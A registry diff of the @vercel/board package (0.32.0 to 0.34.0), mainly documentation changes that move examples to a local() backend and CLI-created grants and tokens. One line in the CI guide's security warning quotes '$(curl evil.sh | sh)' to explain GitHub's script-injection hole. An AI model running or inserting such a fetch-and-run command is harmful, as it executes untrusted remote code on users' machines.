@vercel/board 0.32.0 → 0.34.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -20
- package/dist/{access-CY5xVMIK.mjs → access-CdBcYPQH.mjs} +170 -13
- package/dist/access.d.mts +4 -5
- package/dist/access.mjs +5 -5
- package/dist/{actors-Bm-ojWWT.mjs → actors-MrIEr9LI.mjs} +3 -3
- package/dist/auth-DjoJygbG.mjs +599 -0
- package/dist/{auth-K8dY1nBY.d.mts → auth-aaoKt5DK.d.mts} +133 -100
- package/dist/backend-local.d.mts +28 -0
- package/dist/backend-local.mjs +2 -0
- package/dist/{backend-DxE9wGKm.d.mts → backend-u1sVvybh.d.mts} +108 -55
- package/dist/{chat-provider-DkFp2hrh.mjs → chat-provider-9hCT654s.mjs} +2 -2
- package/dist/{chat-provider-BChYrrA7.d.mts → chat-provider-De0iDnUB.d.mts} +2 -3
- package/dist/cli-commands.d.mts +1 -1
- package/dist/cli-commands.mjs +1 -1
- package/dist/cli-embedded.d.mts +2 -2
- package/dist/cli-embedded.mjs +1 -1
- package/dist/cli.mjs +6 -6
- package/dist/{commands-DsnQKTdB.mjs → commands-B8oZEByR.mjs} +37 -52
- package/dist/{commands-CpyPV_tk.d.mts → commands-BkVMdXP1.d.mts} +9 -6
- package/dist/{conformance-3RBKxwbp.mjs → conformance-gqYBkXFS.mjs} +79 -86
- package/dist/conformance.d.mts +1 -1
- package/dist/conformance.mjs +1 -1
- package/dist/{engine-DurYIRt8.mjs → engine-rtOVWsiF.mjs} +6 -8
- package/dist/{errors-CJXhhzvT.mjs → errors-D8ifv16L.mjs} +75 -6
- package/dist/{events-lujPA3gQ.mjs → events-IQg0k281.mjs} +2 -2
- package/dist/exports-Bx2dGpzr.mjs +3252 -0
- package/dist/exports-uwRl5qIj.d.mts +4 -0
- package/dist/{external-D3p5T57R.mjs → external-CYe424fO.mjs} +1 -1
- package/dist/index-D6mK0Ial.d.mts +11 -0
- package/dist/index.d.mts +10 -9
- package/dist/index.mjs +21 -8
- package/dist/index.node.d.mts +6 -7
- package/dist/index.node.mjs +3 -3
- package/dist/inspect/app.js +95 -95
- package/dist/{internal-CvsrprnU-zZMpDiRY.mjs → internal-CvsrprnU-CEPOUpAv.mjs} +63 -43
- package/dist/local-CPz22MQ8.mjs +9225 -0
- package/dist/{main-CcYDo9Hb.mjs → main-DScDKwQN.mjs} +129 -54
- package/dist/{backend-a2/store-memory.mjs → memory-7RRnLa4X.mjs} +3 -3
- package/dist/middleware-BjYpk4yq.mjs +103 -0
- package/dist/{provider-gynDUoyW.d.mts → provider-hB8QNrwm.d.mts} +369 -3
- package/dist/{client-COfYrgfV.d.mts → routes-De4W6lEs.d.mts} +997 -367
- package/dist/{schemas-DBmUO6pr.mjs → schemas-BG205xds.mjs} +2 -5
- package/dist/{serve-Bplieh0C.mjs → serve-B1noQRkn.mjs} +33 -24
- package/dist/{node-BgeGcwX0.mjs → server-Ov6GBJ8j.mjs} +419 -6
- package/dist/{serving-Y7s7VDjB.mjs → serving-2s7lqSBS.mjs} +1 -1
- package/dist/{sql-E1K5g_ih.mjs → sql-BQzKUqQt.mjs} +349 -114
- package/dist/sqlite-DCtZFEVm.mjs +30 -0
- package/dist/{sqlite-db-CzcD_FW8.mjs → sqlite-db-qLTs52Ny.mjs} +2 -3
- package/dist/{store-codec-pAG2oPgQ-SqDXlPBR.mjs → store-N8PXxDAS-BdL4Sq-f.mjs} +6 -2
- package/dist/{store-memory-B0PkVSuQ.mjs → store-memory-CKQVEzXN.mjs} +2 -4
- package/dist/store-memory-OdGsc-t_.mjs +2 -0
- package/dist/{store-polling-BZt2Rf3D-Div-bJ_D.mjs → store-polling-BZt2Rf3D-oh3aU_An.mjs} +1 -1
- package/dist/store-sqlite-CTxAVCcz.mjs +2 -0
- package/dist/{store-sqlite-D85t3tE7.mjs → store-sqlite-D6fIszST.mjs} +3 -4
- package/dist/sync-chat-sdk.d.mts +2 -2
- package/dist/sync-chat-sdk.mjs +2 -2
- package/dist/sync-github.d.mts +2 -2
- package/dist/sync-github.mjs +2 -2
- package/dist/sync-linear.d.mts +3 -3
- package/dist/sync-linear.mjs +2 -2
- package/dist/sync-slack.d.mts +3 -3
- package/dist/sync-slack.mjs +4 -4
- package/dist/sync.d.mts +2 -2
- package/dist/sync.mjs +2 -2
- package/dist/{watchers-hash-CurCzwhe.mjs → targets-aMdbp84G.mjs} +134 -16
- package/dist/{tokens-C7kYyrAG.mjs → tokens-LHLrnV_P.mjs} +15 -43
- package/docs/01-board/01-mounting.md +245 -288
- package/docs/01-board/03-identity.md +42 -50
- package/docs/01-board/04-messages.md +15 -14
- package/docs/01-board/05-reading.md +3 -3
- package/docs/01-board/06-watchers.md +58 -105
- package/docs/01-board/07-schedules.md +21 -41
- package/docs/01-board/08-middleware.md +11 -17
- package/docs/01-board/09-access.md +187 -343
- package/docs/01-board/10-local.md +81 -0
- package/docs/01-quickstart.md +49 -126
- package/docs/02-sync/01-overview.md +25 -80
- package/docs/02-sync/02-functions.md +10 -16
- package/docs/02-sync/03-slack.md +13 -26
- package/docs/02-sync/04-github.md +8 -20
- package/docs/02-sync/07-linear.md +6 -10
- package/docs/03-guides/02-inspector.md +3 -3
- package/docs/03-guides/03-ci.md +88 -128
- package/docs/03-guides/04-triage.md +7 -15
- package/docs/03-guides/05-agent-factory.md +29 -36
- package/docs/04-reference/01-cli.md +113 -38
- package/docs/04-reference/02-board.md +79 -82
- package/docs/04-reference/03-http.md +138 -69
- package/docs/04-reference/05-conformance.md +32 -46
- package/docs/index.md +41 -65
- package/package.json +12 -83
- package/dist/a2-DiDc77Uf.mjs +0 -4238
- package/dist/access-DPcrKIH_.d.mts +0 -37
- package/dist/auth-8pRZnF1M.mjs +0 -393
- package/dist/backend-a2/blob-vercel.d.mts +0 -8
- package/dist/backend-a2/blob-vercel.mjs +0 -81
- package/dist/backend-a2/contract.d.mts +0 -828
- package/dist/backend-a2/contract.mjs +0 -5
- package/dist/backend-a2/scheduler-local.d.mts +0 -11
- package/dist/backend-a2/scheduler-local.mjs +0 -2
- package/dist/backend-a2/scheduler-qstash.d.mts +0 -79
- package/dist/backend-a2/scheduler-qstash.mjs +0 -522
- package/dist/backend-a2/scheduler-vercel.d.mts +0 -38
- package/dist/backend-a2/scheduler-vercel.mjs +0 -204
- package/dist/backend-a2/store-memory.d.mts +0 -11
- package/dist/backend-a2/store-postgres.d.mts +0 -38
- package/dist/backend-a2/store-postgres.mjs +0 -2977
- package/dist/backend-a2/store-redis-http.d.mts +0 -17
- package/dist/backend-a2/store-redis-http.mjs +0 -520
- package/dist/backend-a2/store-redis.d.mts +0 -31
- package/dist/backend-a2/store-redis.mjs +0 -88
- package/dist/backend-a2/store-sqlite.d.mts +0 -12
- package/dist/backend-a2/store-sqlite.mjs +0 -31
- package/dist/backend-a2.d.mts +0 -2633
- package/dist/backend-a2.mjs +0 -3
- package/dist/backend-http-CaN06CaD.d.mts +0 -672
- package/dist/backend-http-CoaCghuJ.mjs +0 -18
- package/dist/backend-http-l5A8UmL-.mjs +0 -585
- package/dist/backend-http.d.mts +0 -10
- package/dist/backend-http.mjs +0 -2
- package/dist/backend-http.node.d.mts +0 -10
- package/dist/backend-http.node.mjs +0 -2
- package/dist/backend-vercel-BE65okBC.mjs +0 -86
- package/dist/backend-vercel-CVxoTNF2.mjs +0 -1744
- package/dist/backend-vercel-jg-6PAgD.d.mts +0 -674
- package/dist/backend-vercel.d.mts +0 -9
- package/dist/backend-vercel.mjs +0 -11
- package/dist/backend-vercel.node.d.mts +0 -17
- package/dist/backend-vercel.node.mjs +0 -2
- package/dist/blob-Bx8QPWEd.d.mts +0 -40
- package/dist/blob-WbB2DJKn.mjs +0 -201
- package/dist/errors-2vGs49Db.d.mts +0 -16
- package/dist/exports-BnUZuRm9.mjs +0 -1389
- package/dist/exports-u5mApVvn.d.mts +0 -5
- package/dist/files-SniSmeEr.mjs +0 -47
- package/dist/folds-DLUzfibJ.d.mts +0 -558
- package/dist/folds-DsWfIftc.mjs +0 -208
- package/dist/index-UXpTPWNc.d.mts +0 -11
- package/dist/index.default-Dp8gexln.mjs +0 -12
- package/dist/local-C76Fy5ad.mjs +0 -44
- package/dist/middleware-BavYSDUa.mjs +0 -62
- package/dist/platform-B4TnJtWu-Do3agKr5.mjs +0 -32
- package/dist/project-4Vl7_uy5.mjs +0 -124
- package/dist/redis-tables-BFRj_SEJ.mjs +0 -3895
- package/dist/reducer-Bswr11ar-P324o9vn.mjs +0 -74
- package/dist/reducer-CYPHsSmd-BXjGiptm.d.mts +0 -170
- package/dist/reducers-DQVSP3kk.mjs +0 -538
- package/dist/retryable-lazy-DZWmHpii-DpTc5PIP.mjs +0 -19
- package/dist/scheduler-task-X1SToDjP-D2Il2rln.mjs +0 -69
- package/dist/server-B9gu0qi1-DI1WvcVK.d.mts +0 -391
- package/dist/server-DX7mM6nm-D7N_7bug.mjs +0 -3611
- package/dist/server-wIpAEjpX.mjs +0 -17
- package/dist/session-clear-XJYpmUpg-2q8l_FJR.mjs +0 -63
- package/dist/store-DEzcHZOA-B-5vhxef.d.mts +0 -540
- package/dist/store-N8PXxDAS-DWWgv-Vz.mjs +0 -5
- package/dist/store-memory-4IBl0Ztu.mjs +0 -2
- package/dist/store-presence-polling-JuAy2Ck2-Dh-g_KYM.mjs +0 -109
- package/dist/store-sqlite-iBTYYKBj.mjs +0 -2
- package/dist/stream-buffer-DrTyiIuo-Be10yOBR.mjs +0 -53
- package/dist/targets-Cgjs29T0.mjs +0 -33
- package/dist/types-CmrFjpml.d.mts +0 -102
- package/dist/wait-until-Dw4XrIDQ.mjs +0 -42
- package/docs/01-board/02-database.md +0 -258
- package/docs/04-reference/04-log.md +0 -247
- package/sql/postgres/board.sql +0 -145
- package/sql/postgres/notifications.sql +0 -24
- package/sql/postgres/schema.sql +0 -451
|
@@ -16,18 +16,11 @@ connector name:
|
|
|
16
16
|
|
|
17
17
|
```ts app/api/board/[[...path]]/route.ts
|
|
18
18
|
import { board } from '@vercel/board'
|
|
19
|
-
import {
|
|
20
|
-
import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
|
|
21
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
19
|
+
import { local } from '@vercel/board/backend-local'
|
|
22
20
|
import { github, repos } from '@vercel/board/sync-github'
|
|
23
21
|
|
|
24
|
-
const backend = a2({
|
|
25
|
-
store: postgres({ connectionString: process.env.DATABASE_URL! }),
|
|
26
|
-
scheduler: vercelQueues({ topic: 'board' }),
|
|
27
|
-
})
|
|
28
|
-
|
|
29
22
|
const team = board({
|
|
30
|
-
backend,
|
|
23
|
+
backend: local(),
|
|
31
24
|
sync: {
|
|
32
25
|
github: github('github/acme', repos({
|
|
33
26
|
'acme/www': 'dev', // PRs and issues, both in dev
|
|
@@ -37,9 +30,12 @@ const team = board({
|
|
|
37
30
|
},
|
|
38
31
|
})
|
|
39
32
|
export const GET = team.fetch, POST = team.fetch
|
|
40
|
-
export const { scheduler } = backend
|
|
41
33
|
```
|
|
42
34
|
|
|
35
|
+
> [!NOTE]
|
|
36
|
+
> Vercel's board doesn't run sync yet, so a board with `sync` runs on
|
|
37
|
+
> [`local()`](../01-board/10-local.md), in a long-running process.
|
|
38
|
+
|
|
43
39
|
A value is a board channel or a [function](./02-functions.md) for the repo's PRs
|
|
44
40
|
and issues alike, or `{ pulls, issues }` to send each somewhere else. Leave one out
|
|
45
41
|
to skip it.
|
|
@@ -204,18 +200,11 @@ Without Connect, pass the App's credentials to a Chat SDK adapter
|
|
|
204
200
|
```ts app/api/board/[[...path]]/route.ts
|
|
205
201
|
import { createGitHubAdapter } from '@chat-adapter/github'
|
|
206
202
|
import { board } from '@vercel/board'
|
|
207
|
-
import {
|
|
208
|
-
import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
|
|
209
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
203
|
+
import { local } from '@vercel/board/backend-local'
|
|
210
204
|
import { github, repos } from '@vercel/board/sync-github'
|
|
211
205
|
|
|
212
|
-
const backend = a2({
|
|
213
|
-
store: postgres({ connectionString: process.env.DATABASE_URL! }),
|
|
214
|
-
scheduler: vercelQueues({ topic: 'board' }),
|
|
215
|
-
})
|
|
216
|
-
|
|
217
206
|
const team = board({
|
|
218
|
-
backend,
|
|
207
|
+
backend: local(),
|
|
219
208
|
sync: {
|
|
220
209
|
github: github(
|
|
221
210
|
{
|
|
@@ -231,7 +220,6 @@ const team = board({
|
|
|
231
220
|
},
|
|
232
221
|
})
|
|
233
222
|
export const GET = team.fetch, POST = team.fetch
|
|
234
|
-
export const { scheduler } = backend
|
|
235
223
|
```
|
|
236
224
|
|
|
237
225
|
A repo without the App can still announce PRs from a workflow; see
|
|
@@ -16,18 +16,11 @@ connector name:
|
|
|
16
16
|
|
|
17
17
|
```ts app/api/board/[[...path]]/route.ts
|
|
18
18
|
import { board } from '@vercel/board'
|
|
19
|
-
import {
|
|
20
|
-
import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
|
|
21
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
19
|
+
import { local } from '@vercel/board/backend-local'
|
|
22
20
|
import { linear, teams } from '@vercel/board/sync-linear'
|
|
23
21
|
|
|
24
|
-
const backend = a2({
|
|
25
|
-
store: postgres({ connectionString: process.env.DATABASE_URL! }),
|
|
26
|
-
scheduler: vercelQueues({ topic: 'board' }),
|
|
27
|
-
})
|
|
28
|
-
|
|
29
22
|
const team = board({
|
|
30
|
-
backend,
|
|
23
|
+
backend: local(),
|
|
31
24
|
sync: {
|
|
32
25
|
linear: linear('linear/acme', teams({
|
|
33
26
|
ENG: 'dev', // ENG-123 and the rest of the team's issues, both ways
|
|
@@ -36,9 +29,12 @@ const team = board({
|
|
|
36
29
|
},
|
|
37
30
|
})
|
|
38
31
|
export const GET = team.fetch, POST = team.fetch
|
|
39
|
-
export const { scheduler } = backend
|
|
40
32
|
```
|
|
41
33
|
|
|
34
|
+
> [!NOTE]
|
|
35
|
+
> Vercel's board doesn't run sync yet, so a board with `sync` runs on
|
|
36
|
+
> [`local()`](../01-board/10-local.md), in a long-running process.
|
|
37
|
+
|
|
42
38
|
A key is a team's key, the prefix of its issue IDs (`ENG` in `ENG-123`). A value is
|
|
43
39
|
a board channel to mirror, or a [function](./02-functions.md). A team that isn't
|
|
44
40
|
in the map stays off the board, except threads someone syncs by hand.
|
|
@@ -97,8 +97,8 @@ point it at a board you run locally with no `sync` configured:
|
|
|
97
97
|
vb inspect --url http://localhost:3000/api/board
|
|
98
98
|
```
|
|
99
99
|
|
|
100
|
-
A board on `
|
|
101
|
-
|
|
102
|
-
|
|
100
|
+
A board on `local()` keeps its log in SQLite under `.board/`, in the directory
|
|
101
|
+
it runs in; see [Local boards](../01-board/10-local.md). `vb serve` runs a
|
|
102
|
+
local board with no sync and opens the inspector on it. Sync
|
|
103
103
|
config runs wherever the board runs, so a local board that mirrors Slack posts
|
|
104
104
|
to Slack too.
|
package/docs/03-guides/03-ci.md
CHANGED
|
@@ -44,54 +44,46 @@ jobs:
|
|
|
44
44
|
> like `$(curl evil.sh | sh)` runs as a command when it's interpolated into a
|
|
45
45
|
> script. This is GitHub's classic script-injection hole.
|
|
46
46
|
|
|
47
|
-
###
|
|
48
|
-
|
|
49
|
-
A
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
61
|
-
access: [
|
|
62
|
-
githubActions({
|
|
63
|
-
repository: 'acme/www',
|
|
64
|
-
workflow: '.github/workflows/deploy.yml',
|
|
65
|
-
can: { 'errors-www': ['post', 'label'], deploys: ['read', 'post'] },
|
|
66
|
-
}),
|
|
67
|
-
],
|
|
68
|
-
})
|
|
69
|
-
export const GET = team.fetch, POST = team.fetch
|
|
47
|
+
### Let the workflow in
|
|
48
|
+
|
|
49
|
+
A workflow has no Vercel login, so it can't use the team's board in Vercel's
|
|
50
|
+
API by itself. A board that keeps [grants](../01-board/09-access.md#grants)
|
|
51
|
+
lets it in by its token: one on [`local()`](../01-board/10-local.md) that your
|
|
52
|
+
team serves in a long-running process, or a
|
|
53
|
+
[backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
|
|
54
|
+
Vercel's board doesn't keep grants yet. Someone with `manage` in every channel
|
|
55
|
+
grants the repo's runs what they may do, with no deploy:
|
|
56
|
+
|
|
57
|
+
```text
|
|
58
|
+
$ vb grants create --github acme/www --event push --can 'errors-www=post,label;deploys=read,post'
|
|
59
|
+
created g4 --github acme/www --event push errors-www=post,label deploys=read,post
|
|
70
60
|
```
|
|
71
61
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
workflow
|
|
75
|
-
`acme/www`. A workflow
|
|
76
|
-
|
|
62
|
+
The grant matches the token's `repository` and `event_name`, and a
|
|
63
|
+
`--workflow` or `--branch` you add narrows it to that workflow file or
|
|
64
|
+
branch. The workflow writes as `github:repo:<repository_id>`, with the
|
|
65
|
+
handle `acme/www`. A workflow no grant lets in gets a 403 whose hint is the
|
|
66
|
+
grant to create: `Grant it: vb grants create --github acme/www`.
|
|
77
67
|
|
|
78
|
-
|
|
79
|
-
the step above, and reads and posts in `deploys`, which the wait below
|
|
80
|
-
`
|
|
81
|
-
[Access](../01-board/09-access.md) for the
|
|
68
|
+
`--can` says what it may do where. This one posts and labels in `errors-www`,
|
|
69
|
+
for the step above, and reads and posts in `deploys`, which the wait below
|
|
70
|
+
needs. `errors-www=post` alone would start threads and read nothing. Quote it:
|
|
71
|
+
`;` ends a command in a shell. See [Access](../01-board/09-access.md) for the
|
|
72
|
+
permissions and patterns.
|
|
82
73
|
|
|
83
74
|
> [!NOTE]
|
|
84
|
-
> A repo's workflows share one principal, so
|
|
85
|
-
>
|
|
86
|
-
>
|
|
87
|
-
> workflow that reads wrote.
|
|
75
|
+
> A repo's workflows share one principal, so runs that different grants let in
|
|
76
|
+
> are the same author. Where a run can't read, it changes and sees only what it
|
|
77
|
+
> wrote there without reading, never what the workflow that reads wrote.
|
|
88
78
|
|
|
89
79
|
> [!TIP]
|
|
90
|
-
> Keep
|
|
91
|
-
> workflow file from the PR's merge commit, so
|
|
92
|
-
> change what it posts. Its token carries
|
|
93
|
-
> it on `
|
|
94
|
-
>
|
|
80
|
+
> Keep `--can` narrow for grants that match `pull_request` runs. A
|
|
81
|
+
> `pull_request` run uses the workflow file from the PR's merge commit, so
|
|
82
|
+
> anyone who can open a PR can change what it posts. Its token carries
|
|
83
|
+
> `ref: refs/pull/<n>/merge`, so match it on `event_name`, not `ref`. A grant
|
|
84
|
+
> on `repository` alone matches every run in the repo, pull requests included.
|
|
85
|
+
> Fork PRs get no token at all. For PR activity,
|
|
86
|
+
> [GitHub sync](../02-sync/04-github.md) is usually the better tool.
|
|
95
87
|
|
|
96
88
|
### Wait for a person
|
|
97
89
|
|
|
@@ -108,7 +100,7 @@ npx -y @vercel/board wait --re "$id" --after "$id" --text "ship it" --timeout 30
|
|
|
108
100
|
too, if `deploys` mirrors a channel), or 1 when the timeout passes, which
|
|
109
101
|
fails the step.
|
|
110
102
|
|
|
111
|
-
### A protected
|
|
103
|
+
### A protected route
|
|
112
104
|
|
|
113
105
|
If the board's deployment is behind Vercel Deployment Protection, add the
|
|
114
106
|
project's bypass secret to the step's `env:` and the CLI sends it:
|
|
@@ -122,70 +114,13 @@ env:
|
|
|
122
114
|
|
|
123
115
|
## From a Vercel deployment
|
|
124
116
|
|
|
125
|
-
Code running on Vercel gets its token from the platform.
|
|
126
|
-
|
|
127
|
-
a preview can call itself. A production board's previews need a
|
|
128
|
-
`vercelProject({ project: 'self', environments: ['preview'], can })` rule.
|
|
129
|
-
Another project needs a rule too:
|
|
130
|
-
|
|
131
|
-
```ts app/api/board/[[...path]]/route.ts
|
|
132
|
-
import { board } from '@vercel/board'
|
|
133
|
-
import { vercelProject } from '@vercel/board/access'
|
|
134
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
135
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
136
|
-
|
|
137
|
-
const team = board({
|
|
138
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
139
|
-
access: [vercelProject({ project: 'marketing', environments: ['production'], can: { deploys: ['post'] } })],
|
|
140
|
-
})
|
|
141
|
-
export const GET = team.fetch, POST = team.fetch
|
|
142
|
-
```
|
|
143
|
-
|
|
144
|
-
`vercelProject()` matches a project by name or ID, and optionally its `team` and
|
|
145
|
-
`environments`. A name without `team` is a project on the board's own team;
|
|
146
|
-
for another team's project, pass its `team` or use the project's ID. In that
|
|
147
|
-
project, a handle on the team's board mints the token itself:
|
|
148
|
-
|
|
149
|
-
```ts app/api/deploy-hook/route.ts
|
|
150
|
-
import { board } from '@vercel/board'
|
|
151
|
-
import { http } from '@vercel/board/backend-http'
|
|
152
|
-
|
|
153
|
-
const team = board({ backend: http('https://team.example/api/board') })
|
|
154
|
-
|
|
155
|
-
export async function POST(request: Request) {
|
|
156
|
-
const { sha } = await request.json()
|
|
157
|
-
// here's where you'd check who's calling
|
|
158
|
-
await team.post('deploys', { text: `marketing ${sha} is live`, id: `deploy-${sha}` })
|
|
159
|
-
return Response.json({ ok: true })
|
|
160
|
-
}
|
|
161
|
-
```
|
|
162
|
-
|
|
163
|
-
It posts as `vercel:project:<project_id>:production`, with the project's name
|
|
164
|
-
as its handle (`marketing`, or `marketing@preview` outside production).
|
|
165
|
-
|
|
166
|
-
If the board is behind Deployment Protection, its project trusts this one with
|
|
167
|
-
Trusted Sources, as for an [Agent Factory](./05-agent-factory.md#trust-the-factory).
|
|
168
|
-
The SDK never sends this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to
|
|
169
|
-
another project's board.
|
|
170
|
-
|
|
171
|
-
## From your own routes
|
|
117
|
+
Code running on Vercel gets its token from the platform. `board()` with no
|
|
118
|
+
backend is the team's board, reached with the deployment's OIDC token:
|
|
172
119
|
|
|
173
|
-
|
|
174
|
-
returns is the handle, which acts in-process:
|
|
175
|
-
|
|
176
|
-
```ts app/api/board/[[...path]]/route.ts
|
|
120
|
+
```ts app/api/deploys/route.ts
|
|
177
121
|
import { board } from '@vercel/board'
|
|
178
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
179
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
180
122
|
|
|
181
|
-
const
|
|
182
|
-
|
|
183
|
-
export const team = board({ backend })
|
|
184
|
-
export const GET = team.fetch, POST = team.fetch
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
```ts app/api/deploys/route.ts
|
|
188
|
-
import { team } from '@/app/api/board/[[...path]]/route'
|
|
123
|
+
const team = board()
|
|
189
124
|
|
|
190
125
|
export async function POST(request: Request) {
|
|
191
126
|
const delivery = await request.json()
|
|
@@ -195,49 +130,60 @@ export async function POST(request: Request) {
|
|
|
195
130
|
}
|
|
196
131
|
```
|
|
197
132
|
|
|
198
|
-
- **It writes as `
|
|
199
|
-
`
|
|
200
|
-
|
|
133
|
+
- **It writes as its project,** `vercel:project:<project_id>:production`, and
|
|
134
|
+
`team.as('deploys')` as `vercel:project:<project_id>:production+deploys`.
|
|
135
|
+
Profiles start with a letter and use up to 32 letters, numbers, and hyphens.
|
|
136
|
+
- **Vercel's API lets it in once the board is granted** to the project, in the
|
|
137
|
+
environment it runs in. Until then the team's default board fails with 404
|
|
138
|
+
`no_board`, and a named one with 403 `board_not_granted`. The project's own
|
|
139
|
+
code makes a board the first time it names one the team doesn't have: see
|
|
140
|
+
[A board by its name](../01-board/01-mounting.md#a-board-by-its-name).
|
|
201
141
|
- **An `id` makes a post idempotent.** The same `id` from the same handle
|
|
202
142
|
never posts twice, so a redelivered webhook is harmless.
|
|
203
|
-
- **Its writes are like anyone's
|
|
143
|
+
- **Its writes are like anyone's,** and wake
|
|
204
144
|
[watchers](../01-board/06-watchers.md).
|
|
205
145
|
|
|
206
146
|
See [Mounting](../01-board/01-mounting.md#the-handle) for the rest of the
|
|
207
|
-
handle.
|
|
147
|
+
handle. With `BOARD_URL` set, `board()` takes the deployment's OIDC token to
|
|
148
|
+
the board at that URL the same way. There, g2 lets in every project on the
|
|
149
|
+
board's team; a grant for a project and the environment it runs in says
|
|
150
|
+
what it may do instead:
|
|
151
|
+
|
|
152
|
+
```text
|
|
153
|
+
$ vb grants create --project prj_deploys --environment production --can deploys=post
|
|
154
|
+
created g4 --project prj_deploys --environment production deploys=post
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
A project on another team takes a [board token](#from-anywhere-else) instead,
|
|
158
|
+
until cross-team access exists. Behind Deployment Protection, the board's
|
|
159
|
+
project trusts this one with Trusted Sources, as for an
|
|
160
|
+
[Agent Factory](./05-agent-factory.md#trust-the-factory). The SDK never sends
|
|
161
|
+
this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to another project's board.
|
|
208
162
|
|
|
209
163
|
## From anywhere else
|
|
210
164
|
|
|
211
165
|
`BOARD_TOKEN` takes a token you minted yourself, and the CLI and `board()`
|
|
212
|
-
send it as is. It must be one the board verifies:
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
166
|
+
send it as is. It must be one the board at `BOARD_URL` verifies: an OIDC token
|
|
167
|
+
whose audience is the board's URL, from the board's own project or a caller a
|
|
168
|
+
[grant](../01-board/09-access.md#grants) lets in, or a
|
|
169
|
+
[board token](../01-board/09-access.md#tokens) from `vb tokens create`.
|
|
170
|
+
Discovery tells you the audience:
|
|
217
171
|
|
|
218
172
|
```bash
|
|
219
173
|
# in a terminal:
|
|
220
174
|
curl -s https://team.example/api/board | jq -r .audience
|
|
221
175
|
```
|
|
222
176
|
|
|
223
|
-
Another CI's tokens work through
|
|
224
|
-
claims to match,
|
|
225
|
-
`vb grants create https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post`.
|
|
226
|
-
In GitLab, a job's `id_tokens` with the board's audience is the token:
|
|
177
|
+
Another CI's tokens work through a grant that names its issuer by URL, with
|
|
178
|
+
the claims to match, each exactly:
|
|
227
179
|
|
|
228
|
-
```
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
232
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
233
|
-
|
|
234
|
-
const team = board({
|
|
235
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
236
|
-
access: [oidc({ issuer: 'https://gitlab.com', claims: { project_path: 'acme/api', ref: 'main' }, can: { deploys: ['post'] } })],
|
|
237
|
-
})
|
|
238
|
-
export const GET = team.fetch, POST = team.fetch
|
|
180
|
+
```text
|
|
181
|
+
$ vb grants create --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post
|
|
182
|
+
created g4 --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main deploys=post
|
|
239
183
|
```
|
|
240
184
|
|
|
185
|
+
In GitLab, a job's `id_tokens` with the board's audience is the token:
|
|
186
|
+
|
|
241
187
|
```yaml .gitlab-ci.yml
|
|
242
188
|
notify:
|
|
243
189
|
variables:
|
|
@@ -249,6 +195,20 @@ notify:
|
|
|
249
195
|
- npx -y @vercel/board post deploys "api $CI_COMMIT_SHORT_SHA is live"
|
|
250
196
|
```
|
|
251
197
|
|
|
198
|
+
A caller with no OIDC token, or one on another team, takes a board token.
|
|
199
|
+
Someone on the board's team mints it, narrowed to what the caller needs, and
|
|
200
|
+
the caller sends it as `BOARD_TOKEN`:
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# in a terminal, with BOARD_URL set to the board:
|
|
204
|
+
vb tokens create deploy-notifier --can deploys=post --profile deploys --expires 90d
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
It prints the secret once, so store it where the caller reads its secrets.
|
|
208
|
+
It acts as you, narrowed to `deploys=post`, and every post with it is written
|
|
209
|
+
as your `deploys` profile. It lives 90 days at most. `vb tokens` lists it, and
|
|
210
|
+
`vb tokens revoke` stops it.
|
|
211
|
+
|
|
252
212
|
The CLI looks for a token in this order: `BOARD_TOKEN`, a local board's
|
|
253
213
|
(`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. See
|
|
254
214
|
[Identity](../01-board/03-identity.md) for how each one maps to a principal.
|
|
@@ -103,17 +103,10 @@ print, durably, with retries.
|
|
|
103
103
|
|
|
104
104
|
```ts app/api/board/[[...path]]/route.ts
|
|
105
105
|
import { board } from '@vercel/board'
|
|
106
|
-
import {
|
|
107
|
-
import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
|
|
108
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
109
|
-
|
|
110
|
-
const backend = a2({
|
|
111
|
-
store: postgres({ connectionString: process.env.DATABASE_URL! }),
|
|
112
|
-
scheduler: vercelQueues({ topic: 'board' }),
|
|
113
|
-
})
|
|
106
|
+
import { local } from '@vercel/board/backend-local'
|
|
114
107
|
|
|
115
108
|
const team = board({
|
|
116
|
-
backend,
|
|
109
|
+
backend: local(),
|
|
117
110
|
// sync: { slack: slack('slack/acme', channels({ '#firehose': 'firehose' })) },
|
|
118
111
|
watch: {
|
|
119
112
|
triage: {
|
|
@@ -132,7 +125,6 @@ const team = board({
|
|
|
132
125
|
},
|
|
133
126
|
})
|
|
134
127
|
